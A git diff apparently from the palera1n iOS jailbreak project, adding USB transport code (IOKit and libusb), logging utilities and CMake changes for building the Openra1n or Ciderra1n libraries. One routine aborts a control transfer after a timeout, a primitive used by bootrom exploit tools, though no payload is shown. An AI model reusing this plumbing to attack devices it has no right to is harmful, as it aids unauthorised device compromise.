IOServiceMatching(kUSBDeviceClassName); + if (matching_dict == NULL) { + return false; + } + + cf_dictionary_set_int16(matching_dict, CFSTR(kUSBVendorID), handle->vid); + cf_dictionary_set_int16(matching_dict, CFSTR(kUSBProductID), handle->pid); + + if (IOServiceGetMatchingServices(0, matching_dict, &iter) != kIOReturnSuccess) { + return false; + } + + while ((serv = IOIteratorNext(iter)) != IO_OBJECT_NULL) { + if (open_usb_device(serv, handle)) { + IOObjectRelease(iter); + return true; + } + } + + IOObjectRelease(iter); + return false; +} + +void reset_usb_handle(usb_handle_t *handle) { + if(handle->device) { + (*handle->device)->ResetDevice(handle->device); + (*handle->device)->USBDeviceReEnumerate(handle->device, 0); + } +} + +transfer_ret_t send_usb_control_request(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len) { + transfer_ret_t result; + + if(!handle || !handle->interface) { + result.ret = USB_TRANSFER_ERROR; + result.sz = 0; + return result; + } + + IOUSBDevRequestTO req = { + .wLenDone = 0, + .pData = p_data, + .bRequest = b_request, + .bmRequestType = bm_request_type, + .wLength = OSSwapLittleToHostInt16(w_len), + .wValue = OSSwapLittleToHostInt16(w_value), + .wIndex = OSSwapLittleToHostInt16(w_index), + .completionTimeout = USB_TIMEOUT, + .noDataTimeout = USB_TIMEOUT, + }; + + IOReturn ret = (*handle->device)->DeviceRequestTO(handle->device, &req); + + if(ret == kIOReturnSuccess) { + result.sz = req.wLenDone; + result.ret = USB_TRANSFER_OK; + } else if(ret == kUSBPipeStalled) { + result.ret = USB_TRANSFER_STALL; + } else { + result.ret = USB_TRANSFER_ERROR; + } + + return result; +} + +static void usb_async_cb(void *refcon, IOReturn ret, void *arg) { + transfer_ret_t *transfer_ret = refcon; + + if(transfer_ret != NULL) { + memcpy(&transfer_ret->sz, &arg, sizeof(transfer_ret->sz)); + + if(ret == kIOReturnSuccess) { + transfer_ret->ret = USB_TRANSFER_OK; + } else if(ret == kUSBPipeStalled) { + transfer_ret->ret = USB_TRANSFER_STALL; + } else { + transfer_ret->ret = USB_TRANSFER_ERROR; + } + } + + CFRunLoopStop(CFRunLoopGetCurrent()); +} + +transfer_ret_t send_usb_control_request_async(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len, unsigned usb_abort_timeout) { + transfer_ret_t result; + + if(!handle || !handle->interface) { + result.ret = USB_TRANSFER_ERROR; + result.sz = 0; + return result; + } + + IOUSBDevRequestTO req = { + .wLenDone = 0, + .pData = p_data, + .bRequest = b_request, + .bmRequestType = bm_request_type, + .wLength = OSSwapLittleToHostInt16(w_len), + .wValue = OSSwapLittleToHostInt16(w_value), + .wIndex = OSSwapLittleToHostInt16(w_index), + .completionTimeout = USB_TIMEOUT, + .noDataTimeout = USB_TIMEOUT, + }; + + if((*handle->device)->DeviceRequestAsyncTO(handle->device, &req, usb_async_cb, &result) == kIOReturnSuccess) { + sleep_ms(usb_abort_timeout); + + if((*handle->device)->USBDeviceAbortPipeZero(handle->device) == kIOReturnSuccess) { + CFRunLoopRun(); + return result; + } + } + + return result; +} + +transfer_ret_t send_interface_control_request(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len) { + transfer_ret_t result; + + if(!handle || !handle->interface) { + result.ret = USB_TRANSFER_ERROR; + result.sz = 0; + return result; + } + + IOUSBDevRequest req = { + .bmRequestType = bm_request_type, + .bRequest = b_request, + .wValue = w_value, + .wIndex = w_index, + .wLength = (UInt16)w_len, + .pData = p_data, + }; + + IOReturn ret = (*handle->interface)->ControlRequest(handle->interface, 0, &req); + + result.ret = (ret == kIOReturnSuccess) ? USB_TRANSFER_OK : USB_TRANSFER_ERROR; + result.sz = req.wLenDone; + + return result; +} + +transfer_ret_t send_interface_bulk_transfer(const usb_handle_t *handle, void *data, uint32_t len) { + transfer_ret_t result; + + if(!handle || !handle->interface) { + result.ret = USB_TRANSFER_ERROR; + result.sz = 0; + return result; + } + + IOReturn ret = (*handle->interface)->WritePipe(handle->interface, 2, data, len); + + result.ret = (ret == kIOReturnSuccess) ? USB_TRANSFER_OK : USB_TRANSFER_ERROR; + result.sz = len; + + return result; +} + +void init_usb_handle(usb_handle_t *handle, uint16_t vid, uint16_t pid) +{ + handle->vid = vid; + handle->pid = pid; + handle->serv = IO_OBJECT_NULL; + handle->device = NULL; + handle->interface = NULL; + handle->async_event_source = NULL; +} + +#endif diff --git a/1stparty/libopenra1n/src/usb_libusb.c b/1stparty/libopenra1n/src/usb_libusb.c new file mode 100644 index 0000000..e6da84f --- /dev/null +++ b/1stparty/libopenra1n/src/usb_libusb.c @@ -0,0 +1,277 @@ +/* + * palera1n - https://palera.in + * + * Copyright (C) 2023 0x7ff + * Copyright (C) 2023 Mineek + * Copyright (c) 2026 palera1n team + * + * SPDX-License-Identifier: Apache-2.0 + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +#ifndef __APPLE__ + +#include + +#include +#include +#include +#include + +#include + +#include + +void close_usb_handle(usb_handle_t *handle) { + #if _WIN32 + libusb_release_interface(handle->device, 0); + #endif + libusb_close(handle->device); + libusb_exit(NULL); +} + +void reset_usb_handle(const usb_handle_t *handle) { + libusb_reset_device(handle->device); +} + +bool wait_usb_handle(usb_handle_t *handle) { + if (libusb_init(NULL) != LIBUSB_SUCCESS) { + return false; + } + + handle->device = libusb_open_device_with_vid_pid(NULL, handle->vid, handle->pid); + if (handle->device == NULL) { + return false; + } + + #if _WIN32 + libusb_set_auto_detach_kernel_driver(handle->device, 1); + + if (libusb_set_configuration(handle->device, 1) == LIBUSB_SUCCESS || + libusb_set_configuration(handle->device, 1) == LIBUSB_ERROR_BUSY) { + if (libusb_claim_interface(handle->device, 0) == LIBUSB_SUCCESS) { + return true; + } + } + #else + if (libusb_set_configuration(handle->device, 1) == LIBUSB_SUCCESS) { + return true; + } + #endif + + libusb_close(handle->device); + return false; +} + +void usb_async_cb(struct libusb_transfer *transfer) { + *(int *)transfer->user_data = 1; +} + +transfer_ret_t send_usb_control_request(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len) { + transfer_ret_t result; + + if(!handle || !handle->device) { + result.ret = USB_TRANSFER_ERROR; + result.sz = 0; + return result; + } + + int ret = libusb_control_transfer(handle->device, bm_request_type, b_request, w_value, w_index, p_data, (uint16_t)w_len, USB_TIMEOUT); + + if(ret >= 0) { + result.sz = (uint32_t)ret; + result.ret = USB_TRANSFER_OK; + } else if(ret == LIBUSB_ERROR_PIPE) { + result.ret = USB_TRANSFER_STALL; + result.sz = 0; + } else { + result.ret = USB_TRANSFER_ERROR; + result.sz = 0; + } + + return result; +} + +transfer_ret_t send_usb_control_request_async(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len, unsigned usb_abort_timeout) { + transfer_ret_t result; + + if(!handle || !handle->device) { + result.ret = USB_TRANSFER_ERROR; + result.sz = 0; + return result; + } + + struct libusb_transfer *transfer = libusb_alloc_transfer(0); + struct timeval tv; + int completed = 0; + uint8_t *buf; + + if(transfer != NULL) { + if((buf = malloc(LIBUSB_CONTROL_SETUP_SIZE + w_len)) != NULL) { + if((bm_request_type & LIBUSB_ENDPOINT_DIR_MASK) == LIBUSB_ENDPOINT_OUT) { + memcpy(buf + LIBUSB_CONTROL_SETUP_SIZE, p_data, w_len); + } + libusb_fill_control_setup(buf, bm_request_type, b_request, w_value, w_index, (uint16_t)w_len); + libusb_fill_control_transfer(transfer, handle->device, buf, usb_async_cb, &completed, USB_TIMEOUT); + if(libusb_submit_transfer(transfer) == LIBUSB_SUCCESS) { + tv.tv_sec = usb_abort_timeout / 1000; + tv.tv_usec = (usb_abort_timeout % 1000) * 1000; + while(completed == 0 && libusb_handle_events_timeout_completed(NULL, &tv, &completed) == LIBUSB_SUCCESS) { + libusb_cancel_transfer(transfer); + } + if(completed != 0) { + if((bm_request_type & LIBUSB_ENDPOINT_DIR_MASK) == LIBUSB_ENDPOINT_IN) { + memcpy(p_data, libusb_control_transfer_get_data(transfer), transfer->actual_length); + } + result.sz = (uint32_t)transfer->actual_length; + if(transfer->status == LIBUSB_TRANSFER_COMPLETED) { + result.ret = USB_TRANSFER_OK; + } else if(transfer->status == LIBUSB_TRANSFER_STALL) { + result.ret = USB_TRANSFER_STALL; + } else { + result.ret = USB_TRANSFER_ERROR; + } + } + } + free(buf); + } + libusb_free_transfer(transfer); + } + + if(completed == 0) { + result.ret = USB_TRANSFER_ERROR; + result.sz = 0; + } + + return result; +} + +transfer_ret_t send_interface_control_request(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len) +{ + transfer_ret_t result; + + if(!handle || !handle->device) { + result.ret = USB_TRANSFER_ERROR; + result.sz = 0; + return result; + } + + int ret = libusb_control_transfer(handle->device, bm_request_type, b_request, w_value, w_index, p_data, (uint16_t)w_len, 0); + + if(ret >= 0) { + result.sz = (uint32_t)ret; + result.ret = USB_TRANSFER_OK; + } else if(ret == LIBUSB_ERROR_PIPE) { + result.ret = USB_TRANSFER_STALL; + result.sz = 0; + } else { + result.ret = USB_TRANSFER_ERROR; + result.sz = 0; + } + + return result; +} + +transfer_ret_t send_interface_bulk_transfer(const usb_handle_t *handle, void *data, int len) +{ + transfer_ret_t result; + + if(!handle || !handle->device) { + result.ret = USB_TRANSFER_ERROR; + result.sz = 0; + return result; + } + + static uint32_t maxLen = 0; + int transferred = 0; + int ret; + + if(maxLen == 0) + { + ret = libusb_bulk_transfer(handle->device, 2, data, len, &transferred, 0); + if(ret == LIBUSB_SUCCESS) + { + result.ret = USB_TRANSFER_OK; + result.sz = transferred; + return result; + } + else if(ret != LIBUSB_ERROR_NO_MEM) + { + result.ret = USB_TRANSFER_ERROR; + result.sz = transferred; + return result; + } + #if defined(__linux__) + // We only get here on ENOMEM + FILE *f = fopen("/sys/module/usbcore/parameters/usbfs_memory_mb", "r"); + if(f) + { + char str[32]; // More than enough to hold a uint64 in decimal + size_t s = fread(str, 1, sizeof(str), f); + fclose(f); + if(s == 0 || s >= sizeof(str)) { + result.ret = USB_TRANSFER_ERROR; + result.sz = transferred; + return result; + } + str[s] = '\0'; + char *end = NULL; + unsigned long long max = strtoull(str, &end, 0); + // Using the limit as-is will lead to ENOMEM, so we multiply + // by half a MB and impose an appropriate max value. + if(*end == '\n') ++end; + if(*end != '\0' || max == 0 || max >= 0x2000) { + result.ret = USB_TRANSFER_ERROR; + result.sz = transferred; + return result; + } + maxLen = (uint32_t)(max << 19); + } + else + #endif + { + // Just 1MB by default? + maxLen = 0x100000; + } + } + // If we get here, we have to chunk our data + for(int done = transferred; done < len; ) + { + uint32_t chunk = len - done; + if(chunk > maxLen) chunk = maxLen; + transferred = 0; + ret = libusb_bulk_transfer(handle->device, 2, (unsigned char*)data + done, chunk, &transferred, 0); + done += transferred; + if(ret == LIBUSB_SUCCESS) continue; + if(ret != LIBUSB_ERROR_NO_MEM || maxLen <= 0x40) { + result.ret = USB_TRANSFER_ERROR; + result.sz = transferred; + return result; + } + maxLen /= 2; + } + + result.ret = USB_TRANSFER_OK; + result.sz = transferred; + + return result; +} + +void init_usb_handle(usb_handle_t *handle, uint16_t vid, uint16_t pid) { + handle->vid = vid; + handle->pid = pid; + handle->device = NULL; +} + +#endif // __APPLE__ diff --git a/1stparty/libopenra1n/src/utils.c b/1stparty/libopenra1n/src/utils.c new file mode 100644 index 0000000..7c20426 --- /dev/null +++ b/1stparty/libopenra1n/src/utils.c @@ -0,0 +1,127 @@ +/* + * palera1n - https://palera.in + * + * Copyright (c) 2026 palera1n team + * + * SPDX-License-Identifier: Apache-2.0 + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +#include + +#include +#include +#include +#include +#ifdef _WIN32 +# include +#endif +#include + +uint8_t gDebugLevel = 0; +bool gSilentLogs = false; +bool gColoredLogs = true; + +static const char *level_names[] = { + [LOG_INFO] = "INFO", + [LOG_ERROR] = "ERROR", + [LOG_VERBOSE] = "VERBOSE", +}; + +static const char *level_colors[] = { + [LOG_INFO] = CYAN_COLOR, + [LOG_ERROR] = RED_COLOR, + [LOG_VERBOSE] = RESET_COLOR, +}; + +static inline void _get_timestamp(char *buf, size_t len) +{ + time_t t = time(NULL); + struct tm tm_info; + + #ifdef _WIN32 + localtime_s(&tm_info, &t); + #else + localtime_r(&t, &tm_info); + #endif + + strftime(buf, len, "%Y/%m/%d %H:%M:%S", &tm_info); +} + +void log_write_internal(log_level_t level, const char* func, const char* file, int line, const char *fmt, ...) +{ + if (gSilentLogs) return; + if (level == LOG_VERBOSE && gDebugLevel < 1) return; + + va_list args; + va_start(args, fmt); + + char tag_buf[32]; + char ts[32]; + + _get_timestamp(ts, sizeof(ts)); + snprintf(tag_buf, sizeof(tag_buf), "<%s>", level_names[level]); + + if (!gColoredLogs) { + printf(" %9s [%s] => ", tag_buf, ts); + } else { + printf(" %s%9s%s [%s%s%s] => ", + level_colors[level], + tag_buf, + RESET_COLOR, + GRAY_COLOR, + ts, + RESET_COLOR + ); + } + + vprintf(fmt, args); + + if (gDebugLevel >= 2) { + if (gColoredLogs) { + printf("\n %s└────[%sTRACE(%d)%s = %s()[%s:%d]]", + RESET_COLOR, + MAGENTA_COLOR, + gDebugLevel, + RESET_COLOR, + func, + file, + line + ); + } else { + printf("\n └────[TRACE(%d) = %s()[%s:%d]]", + gDebugLevel, + func, + file, + line + ); + } + } + + putchar('\n'); + + va_end(args); +} + +void sleep_ms(unsigned ms) { + #ifdef _WIN32 + Sleep(ms); + #else + struct timespec ts; + + ts.tv_sec = ms / 1000; + ts.tv_nsec = (ms % 1000) * 1000000L; + nanosleep(&ts, NULL); + #endif +} diff --git a/CMakeLists.txt b/CMakeLists.txt index 6eec21b..71dd308 100644 --- a/CMakeLists.txt +++ b/CMakeLists.txt @@ -6,7 +6,11 @@ include(ExternalProject) set(CMAKE_CXX_STANDARD 17) set(CMAKE_CXX_STANDARD_REQUIRED True) +if(NOT IOS) set(CMAKE_OSX_DEPLOYMENT_TARGET "10.13") +else() +set(CMAKE_OSX_DEPLOYMENT_TARGET "12.0") +endif() set(CMAKE_EXPORT_COMPILE_COMMANDS ON) set(CROSS_HOST_TRIPLE "" CACHE STRING "Cross-compile target triple for Autotools (e.g., x86_64-linux-musl)") @@ -15,6 +19,7 @@ option(WITH_STATIC "Build with static wxWidgets / deps" OFF) option(WITH_TUI "Build with TUI" OFF) option(WITH_RAMDISK "Build with ramdisk" ON) option(WITH_BINPACK "Build with binpack" ON) +option(WITH_CIDERRAIN "Build with Ciderra1n instead of Openra1n" OFF) # ========================= # BUILD REQUIREMENTS @@ -34,6 +39,14 @@ if(MINGW AND WITH_TUI) message(FATAL_ERROR "-DWITH_TUI=1 is not supported on MinGW builds.") endif() +if(MINGW AND WITH_CIDERRAIN) + message(FATAL_ERROR "-DWITH_CIDERRAIN=1 is not supported on MinGW builds.") +endif() + +if(IOS AND (WITH_TUI OR WITH_GUI)) + message(FATAL_ERROR "-DWITH_TUI=1 or -DWITH_GUI=1 is not supported on iOS builds.") +endif() + # ========================= # SETUP # ========================= @@ -83,16 +96,6 @@ FetchContent_Declare( ) FetchContent_MakeAvailable(nlohmann_json) -# LZ4 -set(LZ4_BUILD_CLI OFF CACHE BOOL "" FORCE) -FetchContent_Declare( - lz4 - GIT_REPOSITORY https://github.com/lz4/lz4.git - GIT_TAG v1.10.0 - SOURCE_SUBDIR build/cmake -) -FetchContent_MakeAvailable(lz4) - # ========================= # TARGET # ========================= @@ -104,7 +107,7 @@ file(GLOB_RECURSE SOURCES CONFIGURE_DEPENDS "src/*.hpp" ) -if(APPLE AND WITH_GUI) +if((APPLE AND NOT IOS) AND WITH_GUI) set(APP_ICON "${CMAKE_CURRENT_SOURCE_DIR}/resources/palera1n.icns") add_executable(palera1n MACOSX_BUNDLE ${SOURCES}) target_sources(palera1n PRIVATE ${APP_ICON}) @@ -113,6 +116,17 @@ if(APPLE AND WITH_GUI) MACOSX_BUNDLE_INFO_PLIST "${CMAKE_CURRENT_SOURCE_DIR}/resources/Info.plist" MACOSX_BUNDLE_ICON_FILE palera1n.icns ) +elseif(IOS) + add_executable(palera1n MACOSX_BUNDLE ${SOURCES}) + + set_target_properties(palera1n PROPERTIES + XCODE_ATTRIBUTE_PRODUCT_BUNDLE_IDENTIFIER "in.palera.palera1n" + XCODE_ATTRIBUTE_AD_HOC_CODE_SIGNING_ALLOWED "YES" + XCODE_ATTRIBUTE_CODE_SIGNING_ALLOWED "YES" + XCODE_ATTRIBUTE_CODE_SIGNING_REQUIRED "YES" + XCODE_ATTRIBUTE_CODE_SIGN_IDENTITY "-" + XCODE_ATTRIBUTE_CODE_SIGN_ENTITLEMENTS "${CMAKE_SOURCE_DIR}/resources/entitlements.xml" + ) elseif(MINGW AND WITH_GUI) set(APP_MANIFEST_RC "${CMAKE_SOURCE_DIR}/resources/app.rc") add_executable(palera1n WIN32 ${SOURCES} ${APP_MANIFEST_RC}) @@ -122,7 +136,7 @@ endif() target_include_directories(palera1n PRIVATE "${DEPS_PREFIX}/include") target_link_directories(palera1n PRIVATE "${DEPS_PREFIX}/lib") -target_link_libraries(palera1n PRIVATE nlohmann_json::nlohmann_json lz4_static) +target_link_libraries(palera1n PRIVATE nlohmann_json::nlohmann_json) if(WITH_RAMDISK) target_compile_definitions(palera1n PRIVATE WITH_RAMDISK) @@ -137,6 +151,9 @@ endif() if(WITH_TUI) target_compile_definitions(palera1n PRIVATE WITH_TUI) endif() +if(WITH_CIDERRAIN) + target_compile_definitions(palera1n PRIVATE WITH_CIDERRAIN) +endif() execute_process( COMMAND git rev-parse HEAD @@ -185,6 +202,223 @@ endif() # NON-CMAKE DEPENDENCIES # ========================= +# ra1ns +if(WITH_CIDERRAIN) + message(STATUS "Building with Ciderra1n support") + + # TODO: get rid + execute_process( + COMMAND patch --batch --forward -p1 -i ${CMAKE_SOURCE_DIR}/patches/liteusb/0001-cpp-compatible.patch + WORKING_DIRECTORY ${CMAKE_SOURCE_DIR}/1stparty/libciderra1n/external/liteusb + RESULT_VARIABLE LITEUSB_PATCH_RESULT + ) + + if(IOS) + execute_process( + COMMAND xcrun --sdk iphoneos --show-sdk-path + OUTPUT_VARIABLE IOS_SDK + OUTPUT_STRIP_TRAILING_WHITESPACE + ) + + execute_process( + COMMAND ${CMAKE_COMMAND} -E env + "CFLAGS=-isysroot ${IOS_SDK} -arch arm64 -miphoneos-version-min=${CMAKE_OSX_DEPLOYMENT_TARGET} -I${CMAKE_SOURCE_DIR}/apple-include-iphoneos" + "CXXFLAGS=-isysroot ${IOS_SDK} -arch arm64 -miphoneos-version-min=${CMAKE_OSX_DEPLOYMENT_TARGET} -I${CMAKE_SOURCE_DIR}/apple-include-iphoneos" + "LDFLAGS=-isysroot ${IOS_SDK} -arch arm64 -miphoneos-version-min=${CMAKE_OSX_DEPLOYMENT_TARGET}" + make CC=${CMAKE_C_COMPILER} CXX=${CMAKE_CXX_COMPILER} AR=${CMAKE_AR} + WORKING_DIRECTORY ${CMAKE_SOURCE_DIR}/1stparty/libciderra1n + RESULT_VARIABLE CIDERRA1N_BUILD_RESULT + ) + else() + execute_process( + COMMAND make CC=${CMAKE_C_COMPILER} CXX=${CMAKE_CXX_COMPILER} + WORKING_DIRECTORY ${CMAKE_SOURCE_DIR}/1stparty/libciderra1n + RESULT_VARIABLE CIDERRA1N_BUILD_RESULT + ) + endif() + + if(NOT CIDERRA1N_BUILD_RESULT EQUAL 0) + message(FATAL_ERROR "Failed to build Ciderra1n.") + endif() + + set(CIDERRAIN_INCLUDE_DIR "${CMAKE_SOURCE_DIR}/1stparty/libciderra1n/build/include") + set(CIDERRAIN_LIB "${CMAKE_SOURCE_DIR}/1stparty/libciderra1n/build/lib/ciderra1n/libciderra1n.a") + target_include_directories(palera1n PRIVATE ${CIDERRAIN_INCLUDE_DIR}) + target_link_libraries(palera1n PRIVATE "${CIDERRAIN_LIB}") + + if(IOS) + target_include_directories(palera1n PRIVATE "${CMAKE_SOURCE_DIR}/apple-include-iphoneos") + endif() + + if(LINUX) + set(LITEUSB_INCLUDE_DIR "${CMAKE_SOURCE_DIR}/1stparty/libciderra1n/external/liteusb/include") + target_compile_definitions(palera1n PRIVATE LITEUSB_PLATFORM_LINUX) + target_include_directories(palera1n PRIVATE ${LITEUSB_INCLUDE_DIR}) + endif() + +else() + message(STATUS "Building with Openra1n support") + + if(IOS) + execute_process( + COMMAND xcrun --sdk iphoneos --show-sdk-path + OUTPUT_VARIABLE IOS_SDK + OUTPUT_STRIP_TRAILING_WHITESPACE + ) + + execute_process( + COMMAND ${CMAKE_COMMAND} -E env + "CFLAGS=-isysroot ${IOS_SDK} -arch arm64 -miphoneos-version-min=${CMAKE_OSX_DEPLOYMENT_TARGET} -I${CMAKE_SOURCE_DIR}/apple-include-iphoneos" + "CXXFLAGS=-isysroot ${IOS_SDK} -arch arm64 -miphoneos-version-min=${CMAKE_OSX_DEPLOYMENT_TARGET} -I${CMAKE_SOURCE_DIR}/apple-include-iphoneos" + "LDFLAGS=-isysroot ${IOS_SDK} -arch arm64 -miphoneos-version-min=${CMAKE_OSX_DEPLOYMENT_TARGET}" + make CC=${CMAKE_C_COMPILER} CXX=${CMAKE_CXX_COMPILER} AR=${CMAKE_AR} + WORKING_DIRECTORY ${CMAKE_SOURCE_DIR}/1stparty/libopenra1n + RESULT_VARIABLE OPENRA1N_BUILD_RESULT + ) + else() + execute_process( + COMMAND make CC=${CMAKE_C_COMPILER} CXX=${CMAKE_CXX_COMPILER} + WORKING_DIRECTORY ${CMAKE_SOURCE_DIR}/1stparty/libopenra1n + RESULT_VARIABLE OPENRA1N_BUILD_RESULT + ) + endif() + + if(NOT OPENRA1N_BUILD_RESULT EQUAL 0) + message(FATAL_ERROR "Failed to build Openra1n.") + endif() + + set(OPENRA1N_INCLUDE_DIR "${CMAKE_SOURCE_DIR}/1stparty/libopenra1n/build/include") + set(OPENRA1N_LIB "${CMAKE_SOURCE_DIR}/1stparty/libopenra1n/build/lib/openra1n/libopenra1n.a") + + target_include_directories(palera1n PRIVATE ${OPENRA1N_INCLUDE_DIR}) + target_link_libraries(palera1n PRIVATE "${OPENRA1N_LIB}") + + if(IOS) + target_include_directories(palera1n PRIVATE "${CMAKE_SOURCE_DIR}/apple-include-iphoneos") + endif() +endif() + +# idevice +if(WITH_GUI OR WITH_TUI) + set(IDevice_CARGO_ARGS + --release + --no-default-features + --features "usbmuxd ring tcp" + ) + + set(IDevice_ENV) + + if(CROSS_HOST_TRIPLE) + if(CROSS_HOST_TRIPLE STREQUAL "i486-linux-musl") + set(RUST_TARGET "i686-unknown-linux-musl") + elseif(CROSS_HOST_TRIPLE STREQUAL "x86_64-linux-musl") + set(RUST_TARGET "x86_64-unknown-linux-musl") + elseif(CROSS_HOST_TRIPLE STREQUAL "armel-linux-musleabi") + set(RUST_TARGET "arm-unknown-linux-musleabi") + elseif(CROSS_HOST_TRIPLE STREQUAL "aarch64-linux-musl") + set(RUST_TARGET "aarch64-unknown-linux-musl") + endif() + + if(RUST_TARGET) + string(TOUPPER "${RUST_TARGET}" RUST_TARGET_ENV) + string(REPLACE "-" "_" RUST_TARGET_ENV "${RUST_TARGET_ENV}") + + list(APPEND IDevice_CARGO_ARGS --target ${RUST_TARGET}) + list(APPEND IDevice_ENV + "CC=${CMAKE_C_COMPILER}" + "AR=${CMAKE_AR}" + "CARGO_TARGET_${RUST_TARGET_ENV}_LINKER=${CMAKE_C_COMPILER}" + ) + endif() + + elseif(MINGW) + set(RUST_TARGET "x86_64-pc-windows-gnu") + + list(APPEND IDevice_CARGO_ARGS --target ${RUST_TARGET}) + + list(APPEND IDevice_ENV + "CC=${CMAKE_C_COMPILER}" + "AR=${CMAKE_AR}" + "CARGO_TARGET_X86_64_PC_WINDOWS_GNU_LINKER=${CMAKE_C_COMPILER}" + ) + endif() + + ExternalProject_Add(idevice_ep + GIT_REPOSITORY https://github.com/jkcoxson/idevice.git + GIT_TAG v0.1.65 + + PATCH_COMMAND + patch --forward --ignore-whitespace -p1 < "${CMAKE_SOURCE_DIR}/patches/idevice/0001-compile-usbmuxd-and-windows-fixes.patch" || true + + CONFIGURE_COMMAND "" + + BUILD_COMMAND + ${CMAKE_COMMAND} -E env + ${IDevice_ENV} + cargo build + ${IDevice_CARGO_ARGS} + --manifest-path /ffi/Cargo.toml + + COMMAND ${CMAKE_COMMAND} -E chdir /cpp + ${CMAKE_COMMAND} + -B build + -DCMAKE_BUILD_TYPE=Release + -DIDEVICE_FFI_PATH=/target/${RUST_TARGET}/release/${FFI_LIB_NAME} + "-DCMAKE_CXX_FLAGS=-Du_int64_t=uint64_t -Du_int32_t=uint32_t -Du_int16_t=uint16_t -Du_int8_t=uint8_t" + + COMMAND ${CMAKE_COMMAND} --build /cpp/build --config Release + + INSTALL_COMMAND + ${CMAKE_COMMAND} -E make_directory /lib/idevice + COMMAND ${CMAKE_COMMAND} -E make_directory /include + + COMMAND ${CMAKE_COMMAND} -E copy + /target/${RUST_TARGET}/release/libidevice_ffi.a + /lib/idevice/libidevice_ffi.a + + COMMAND ${CMAKE_COMMAND} -E copy + /cpp/build/libidevice++.a + /lib/idevice/libidevice++.a + + COMMAND ${CMAKE_COMMAND} -E copy_directory + /cpp/include + /include + + BUILD_IN_SOURCE 1 + ) + + ExternalProject_Get_Property(idevice_ep install_dir) + set(IDEVICE_INCLUDE_DIR "${install_dir}/include") + set(IDEVICE_LIBRARY "${install_dir}/lib/idevice/libidevice++.a") + set(IDEVICE_FFI_LIBRARY "${install_dir}/lib/idevice/libidevice_ffi.a") + add_dependencies(palera1n idevice_ep) + target_include_directories(palera1n PRIVATE ${IDEVICE_INCLUDE_DIR}) + target_link_libraries(palera1n PRIVATE "${IDEVICE_LIBRARY}" "${IDEVICE_FFI_LIBRARY}") + if(MINGW) + target_link_libraries(palera1n PRIVATE bcrypt userenv ntdll) + endif() + target_compile_definitions(palera1n PRIVATE LIBPLIST_STATIC) +endif() + +if(CMAKE_BUILD_TYPE STREQUAL "Release") + if(APPLE) + target_link_options(palera1n PRIVATE + -Wl,-dead_strip + -Wl,-x + ) + elseif(MINGW) + target_link_options(palera1n PRIVATE + -Wl,--gc-sections + -Wl,--strip-all + ) + elseif(LINUX) + target_link_options(palera1n PRIVATE + -Wl,--gc-sections + -Wl,--strip-all + ) + endif() +endif() + if(WITH_STATIC) find_program(PKG_CONFIG_EXECUTABLE NAMES pkg-config) @@ -241,45 +475,7 @@ if(WITH_STATIC) set(MBEDUTILS_ARGS --with-mbedtls) endif() - if(MINGW) - ExternalProject_Add(libwdi_ep - GIT_REPOSITORY https://github.com/pbatard/libwdi.git - GIT_TAG v1.5.1 - UPDATE_COMMAND "" - CONFIGURE_COMMAND - ${PKG_ENV} - sh -lc "./bootstrap.sh && ./configure --prefix=${DEPS_PREFIX} --build=x86_64-w64-mingw32 --host=x86_64-w64-mingw32 --disable-32bit --with-wdfver=1011 --with-libusbk=${CMAKE_SOURCE_DIR}/libusbK/bin" - BUILD_COMMAND make -j - INSTALL_COMMAND make install - BUILD_IN_SOURCE 1 - ) - endif() - - if(NOT MINGW) - # theres an issue with we cant build with amd or something - set(MBEDTLS_PATCH_STEPS PATCH_COMMAND patch -p1 < ${CMAKE_SOURCE_DIR}/patches/mbedtls/0001-Allow-empty-x509-cert-issuer.patch) - if(CROSS_HOST_TRIPLE MATCHES "i486-linux-musl") - list(APPEND MBEDTLS_PATCH_STEPS COMMAND sed -i "/define MBEDTLS_AESNI_C/d" include/mbedtls/mbedtls_config.h) - endif() - - ExternalProject_Add(mbedtls_ep - GIT_REPOSITORY https://github.com/Mbed-TLS/mbedtls.git - GIT_TAG mbedtls-3.5.2 - UPDATE_COMMAND "" - ${MBEDTLS_PATCH_STEPS} - CMAKE_ARGS - -DCMAKE_INSTALL_PREFIX=${DEPS_PREFIX} - -DCMAKE_C_COMPILER=${CMAKE_C_COMPILER} - -DCMAKE_SYSROOT=${CMAKE_SYSROOT} - -DENABLE_TESTING=OFF - -DENABLE_PROGRAMS=OFF - -DBUILD_SHARED_LIBS=OFF - -DENABLE_ASSEMBLY=OFF - INSTALL_DIR ${DEPS_PREFIX} - ) - endif() - - if(LINUX OR MINGW) + if((LINUX OR MINGW) AND NOT WITH_CIDERRAIN) ExternalProject_Add(libusb_ep GIT_REPOSITORY https://github.com/libusb/libusb.git GIT_TAG v1.0.30 @@ -291,6 +487,8 @@ if(WITH_STATIC) INSTALL_COMMAND make install BUILD_IN_SOURCE 1 ) + + add_dependencies(palera1n libusb_ep) endif() if(LINUX) @@ -298,165 +496,46 @@ if(WITH_STATIC) URL https://ftp.gnu.org/pub/gnu/ncurses/ncurses-6.4.tar.gz CONFIGURE_COMMAND ${PKG_ENV} - sh -l /configure 